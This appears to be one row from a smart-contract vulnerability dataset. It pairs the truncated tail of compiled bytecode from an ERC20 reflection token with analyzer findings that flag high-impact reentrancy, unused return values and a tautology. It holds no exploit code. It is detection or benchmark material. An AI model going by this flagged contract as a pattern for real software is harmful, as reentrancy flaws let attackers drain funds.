505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612c0a602a83612085565b9150612c1582612bae565b604082019050919050565b60006020820190508181036000830152612c3981612bfd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c7a82612198565b9150612c8583612198565b925082612c9557612c94612c40565b5b828204905092915050565b6000612cab82612198565b9150612cb683612198565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ceb57612cea6129d5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d2c601b83612085565b9150612d3782612cf6565b602082019050919050565b60006020820190508181036000830152612d5b81612d1f565b9050919050565b6000612d6d82612198565b9150612d7883612198565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612db157612db06129d5565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e18602183612085565b9150612e2382612dbc565b604082019050919050565b60006020820190508181036000830152612e4781612e0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e14a59e649665d970144f85027e335fe715cf355a84b4a124f111fcb6a95c93a64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.